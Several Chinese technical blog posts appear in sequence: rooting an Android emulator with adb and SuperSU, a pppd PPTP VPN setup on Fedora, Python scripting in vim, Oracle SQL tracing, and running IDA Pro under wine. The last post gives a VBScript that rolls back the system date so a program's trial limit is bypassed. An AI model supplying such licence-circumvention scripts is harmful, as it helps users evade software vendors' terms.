./adb shell mount -o rw,remount -t yaffs2 /dev/block/mtdblock0 /system
./adb push su /system/xbin/su
./adb install Superuser.apk
./adb shell chmod 06755 /system/xbin/su
./adb shell /system/xbin/su -d

其中涉及的二进制文件都可以从 [2] 下载,最关键的步骤是执行su -d,不执行的话SuperSu会报找不到su的二进制文件。

关于android 的emulator有个特性,/system 下的所有更改在下次重启时会丢失。解决这个问题的方法有很多种,最简单的方法是从tmp目录下拷贝emulator-xxx 文件到avd目录。avd目录默认在 ~/.android/avd

/tmp/android-user/emulator-xxxx, 将这个文件重命名为system.img,这样重启后,/system下的修改不会丢失。

[1] http://www.claudxiao.net/2013/10/persistent-change-emulator-system-partition/
[2] http://download.chainfire.eu/589/SuperSU/UPDATE-SuperSU-v2.16.zip
[3] http://stackoverflow.com/questions/15417105/forcing-the-android-emulator-to-store-changes-to-system

Fedora 安装pptp vpn

使用NetWorkManger图形界面,可以简单地配置pptp vpn,但是有几个地方不是特别满意

  • 操作繁琐,需要多次点击鼠标
  • 拨号后全局生效,要设置路由
  • 可以配置的参数不是特别多
  • 不是通用的方法,在终端中使用不方便
  • 还是比较习惯命令行操作

基于上面几个原因折腾了一下pppd,用了一段时间非常不错,很稳定,在这里记录配置的方法。使用pppd的方法应该可以在其他Linux的发行版上正常使用,配置文件的路径或许有稍许差别。

pppd是Point-to-Point Protocol Daemon的缩写,pppd 的源代码托管在GitHub上 https://github.com/paulusmack/ppp 可以访问 pppd 的官方网站获取更多信息 https://ppp.samba.org/pppd.html

安装所需要的软件

首先需要看看哪个包提供了pppd,执行下面的命令

1
# yum whatprovides pppd
1
2
3
4
5
6
7
8
9
ppp-2.4.5-33.fc20.x86_64 : The Point-to-Point Protocol daemon
源 :fedora
匹配来源:
文件名 :/usr/sbin/pppd

ppp-2.4.5-33.fc20.x86_64 : The Point-to-Point Protocol daemon
源 :@koji-override-0/$releasever
匹配来源:
文件名 :/usr/sbin/pppd

安装pppd

1
# yum install ppp-2.4.5-33.fc20.x86_64

保证pppd版本高于2.4.2,然后开始修改配置文件。

设置用户名密码

1
2
3
4
5
>  vi /etc/ppp/chap-secrets

# Secrets for authentication using CHAP
# client server secret IP addresses
user1 PPTP password123 *

user1 vpn用户名
PPTP 后面的文件需要用到,和用户名密码相对应
password123 vpn密码

创建vpn profile

1
2
3
4
5
6
7
8
> vi /etc/ppp/peers/vpn

pty "pptp serverip --nolaunchpppd"
name user1
remotename PPTP
require-mppe-128
file /etc/ppp/options.pptp
ipparam vpn

连接vpn

1
> sudo pppd call vpn

断开vpn

1
> sudo killall pppd

设置路由

成功连接vpn后,发现访问不了需要访问的10.6网段,使用route命令查看路由情况

1
2
3
4
5
6
7
8
> route -n

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.51.255.* 0.0.0.0 UG 1024 0 0 em1
10.51.0.0 0.0.0.0 255.255.0.0 U 0 0 0 em1
172.16.58.1 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0
*.99.*27.1*0 10.51.255.254 255.255.255.255 UGH 0 0 0 em1

因为需要访问10.6网段,需要添加下面的路由

1
> sudo route add -net 10.6.0.0/16 gw 10.58.*.* dev ppp0

其中10.58.*.*为拨vpn后分配给你的IP地址,这里就有一个问题,每次连接后都需要重新设置路由,比较麻烦,摸索了一翻发现ip-up.local和ip-down.local可以解决这个问题,每次连接成功后会执行ip-up.local脚本,每次断开连接时会执行ip-down.local脚本。我们只要编写这两个脚本就可以自动设置路由,完全自动化,Cool !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> sudo vi /etc/ppp/ip-up.local

#!/bin/bash

NET="10.6.0.0/16"
IFACE="ppp0"
IP=`ip addr show dev ${IFACE} | grep 'inet' | awk '{print $2}'`

route add -net ${NET} gw ${IP} dev ${IFACE}

> sudo vi /etc/ppp/ip-down.local

#!/bin/bash

route del *.99.*27.1*0 dev em1

> sudo chmod +x /etc/ppp/ip-up.local
> sudo chmod +x /etc/ppp/ip-down.local

重新连接vpn,查看路由情况:

1
2
> sudo pppd call vpn
> route -n
1
2
3
4
5
6
7
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.51.255.* 0.0.0.0 UG 1024 0 0 em1
10.6.0.0 172.16.58.89 255.255.0.0 UG 0 0 0 ppp0
10.51.0.0 0.0.0.0 255.255.0.0 U 0 0 0 em1
172.16.58.1 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0
*.99.*27.1*0 10.51.255.254 255.255.255.255 UGH 0 0 0 em1

已经自动添加10.6.0.0的路由了。

1
2
3
4
5
6
> sudo killall pppd
> route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.51.255.* 0.0.0.0 UG 1024 0 0 em1
10.51.0.0 0.0.0.0 255.255.0.0 U 0 0 0 em1

提升速度

连接上vpn后发现速度很慢,经过研究 novj 选项可以大幅提高速度。

1
novj Disable Van Jacobson style TCP/IP header compression in both the transmit and the receive direction.

编辑 /etc/ppp/options.pptp 添加以下行

1
novj

保持长时间在线

后面还发现一个问题,一段时间不用就自动断开连接了,发现lcp-echo-interval 可以缓解这个问题。

编辑 /etc/ppp/options.pptp 添加以下行

1
lcp-echo-interval 30

Example Config file

最终使用的配置如下:/etc/ppp/options.pptp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
lock
noauth
refuse-pap
refuse-eap
refuse-chap
refuse-mschap
usepeerdns
noipdefault
nodefaultroute
novj
require-mppe
nobsdcomp
nodeflate
lcp-echo-failure 5
lcp-echo-interval 30
mppe-stateful

/etc/ppp/peers/vpn

pty "pptp *.99.*27.1*0 --nolaunchpppd"
name xxx
remotename PPTP
file /etc/ppp/options.pptp
ipparam vpn

/etc/ppp/chap-secrets

user PPTP password *.99.*27.1*0

参考链接

http://shyju.wordpress.com/2013/08/13/linux-as-a-pptp-vpn-client-configuration-centosfedora/
http://www.cyberciti.biz/tips/howto-configure-ubuntu-fedora-linux-pptp-client.html
http://pptpclient.sourceforge.net/
https://ppp.samba.org/index.html

vim中的python

1. 判断vim支持python

要判断你的vim是否支持python,可以执行下面命令:

1
$ vim --version | grep python

如果显示的结果中有 +python 的话,你的vim已经支持python,
如果没有的话,你需要重新编译vim,在windows中可以使用下面的命令行,

1
nmake -f Make_mvc.mak FEATURES=huge PYTHON=D:\Python27 PYTHON_VER=27 GUI=yes IME=yes

2. 为什么需要编译支持python的vim

主要的理由有两个,

  1. 可以使用python写的vim插件。
  2. vim 7.4 以后对python的支持进行了增强。

有很多不错的vim 插件,这里给大家推荐一个python-mode, 非常不错。https://github.com/klen/python-mode

vim 7.4 以后对python的支持进行了增强,这个是广大vim注册用户(捐钱的用户)呼声最
高的需求,原话为,

add integration with Python instead of inventing more Vim script

确实现在已经有太多的vim脚本了。vim的主页上的完整需求列表; http://www.vim.org/sponsor/vote_results.php

add IDE features (debugger integration, shell window)

这个是排行老二的需求,不知道什么时侯能实现,期待中…

3. 一些应用举例

3.1 python commands

1
:[range]py[thon] {stmt}

这个命令比较简单,详细解释如下:

range 是标准的vim的range 熟悉vim替换命令的同学应该都不会陌生。range的作用的是指
定python命令影响哪些行,写法为 [行号,行号],比如 1,2 影响第一行和第二行,1,$
影响整个文件。[] 的意思是这个range是可选的默认将影响整个文件。

py[thon]的意思为,python 是命令的全写,可以简写为py。

{stmt} python 语句

可以写上下面命令,输出 Hello

1
:python print "Hello python"

数学不好的同学可以像我一样使用

1
:py print 1+1

将显示结果2 :)

1
2
3
:[range]py[thon] << {endmarker}
{script}
{endmarker}

上面是这个命令是第二种用法,可以直接写python,相当爽,写法很象cat 命令

1
2
3
cat > /tmp/xx << EOF
....
EOF

想用vim查询天气的同学可以参考一下,github上的这个脚本 https://raw.github.com/liqunli/vim-plugin-dev/master/dairy.vim

3.2 pydo

这个命令的格式为, :[range]pydo {body}

vim 中有一个定义好的函数,这个命令将利用这个函数做一些事情

1
2
def _vim_pydo(line, linenr):
{body}

pydo 这个命令同样是以行为单位的,range的用法和上面说的一样。 line 是原始的行,
linenr 是 line number (行号)。大家可以猜一下下面命令的意思,

1
:pydo if line: return "%4d: %s" % (linenr, line)

显示结果大致是这样, 直接用这个文件测试了一下,

1
2
3
4
5
6
55: 将显示结果2  :)


58: :[range]py[thon] << {endmarker}
59: {script}
60: {endmarker}

没有指定range,默认为整个文件,”%4d: %s” % (linenr, line) 这句的意思是,
在每行前加行号,不足4位的数字的用空格补齐

在早些时侯,vim命令要实现这个的效果,需要写一行诡异的命令,

1
:%s/^/\=printf('%4d: ', line('.'))

挑战太大,vim 还专门写了一篇wiki http://vim.wikia.com/wiki/Insert_line_numbers

3.3 pyfile

这条命令的格式为,:[range]pyf[ile] {file}

可以直接使用python 文件,不需要一句一句的输入python 语句了。

1
2
3
4
5
:python from vim import *
:python from string import upper
:python current.line = upper(current.line)
:python print "Hello"
:python str = current.buffer[42]

3.4 python3

命令的格式和python是一样的,不过需要开启 +python3

3.5 vim的python 接口

这个不属于这个小文章的想说的了,写了这成vim的manual了,可以直接参看:
http://vimhelp.appspot.com/if_pyth.txt.html#python-vim

4. 最后

为了避免vim和emacs的圣战,hx 和 lzx等emacs党,可以直接忽视此文 :)

5. 参考资料

http://vimhelp.appspot.com/if_pyth.txt.html

Oracle 数据库如何trace 执行的SQL statement

Q. Oracle 数据库如何trace执行的SQL statement

1. 开启trace

方法(1) : 执行SQL语句

1
2
SQL> alter system set sql_trace = true;
SQL> alter system SET EVENTS '10046 trace name context forever, level 12';

方法(2) : 修改init.ora 配置文件

还可以修改init.ora 文件添加 event=”10046 trace name context forever,level 12” 来达到目的,
修改以后需要重新启动数据库。

2. 关闭 trace

1
SQL> alter system set EVENTS '10046 trace name context off';

3. trace相关的几个参数

  • MAX_DUMP_FILE_SIZE dump 文件大小
  • USER_DUMP_DEST dump 文件路径

可以使用下面语句参看:

1
2
3
4
5
6
7
8
9
10
11
12
SQL> show parameter user_dump_dest;

NAME TYPE VALUE
------------------------------------ ----------- ------------------------------
user_dump_dest string /u01/app/diag/rdbms/orcl/orcl/trace


SQL> show parameter max_dump_file_size;

NAME TYPE VALUE
------------------------------------ ----------- ------------------------------
max_dump_file_size string unlimited

4. trc 文件分析

方法(1)

可以使用trc2sql.pl 来提取trc文件中的SQL语句

下载地址: https://gist.github.com/henices/5097678

方法(2)

oracle提供tkprof 命令可以解析trc文件,使用方法为:

1
$ tkprof tracefile outputfile

参考链接

参考链接: http://www.eygle.com/case/Use.sql_trace.to.Diagnose.database.htm

Linux 下运行 IDA Pro

IDA Pro 6.2 + 的Linux 版本提供了Qt 界面,可以在各大平台正常运行。买不起也有办法 ,使用 wine 可以很好地运行IDA Pro,显示效果基本OK,爱折腾的同学可以自行调整字体。

1
$ wine idag.exe

IDA Pro 6.1 成功运行.但是idapython 有些问题需要处理,引起idapython不能正常运行的原因主要有下面两个:

文件缺失

大概会报下面错误

1
err:module:import_dll Library python27.dll (which is needed by L"C:\\ida61\\plugins\\python.plw") not found

要解决这个错误,需要从windows下拷贝两个文件过来,这两个文件是 msvcr90.dll,python27.dll

环境变量

1
$ wine idag.exe

会报下面类似错误, ImportError: No module named site,发生这个错误的原因是找不到python安装路径,可以使用unix下的python使用shell命令设置环境变量

1
2
$ export PYTHONPATH=/usr/lib/python2.7/
$ wine idag.exe

Python 问题

在使用过程中发现idapython还是有一些问题,使用wine安装Windows的python后问题得到解决,主要是C语言写的python模块的问题。

参考链接

http://www.openrce.org/forums/posts/463

破解软件时间限制的程序

1
2
3
4
5
6
7
8
9
10
11
Dim daytime
daytime = formatdatetime(now(), 2)
wscript.echo "Now is: " & daytime
wscript.echo "Change system data to 2010/12/18..."
Set os =WScript.CreateObject("WScript.Shell")
os.run "cmd /c date 2010/12/18", 0, True
wscript.sleep 3000
wscript.echo "Call some.exe"
os.run ".\some.exe", 1, True
wscript.echo "Restore system data to " & daytime
os.run "cmd /c date " & daytime, 0, True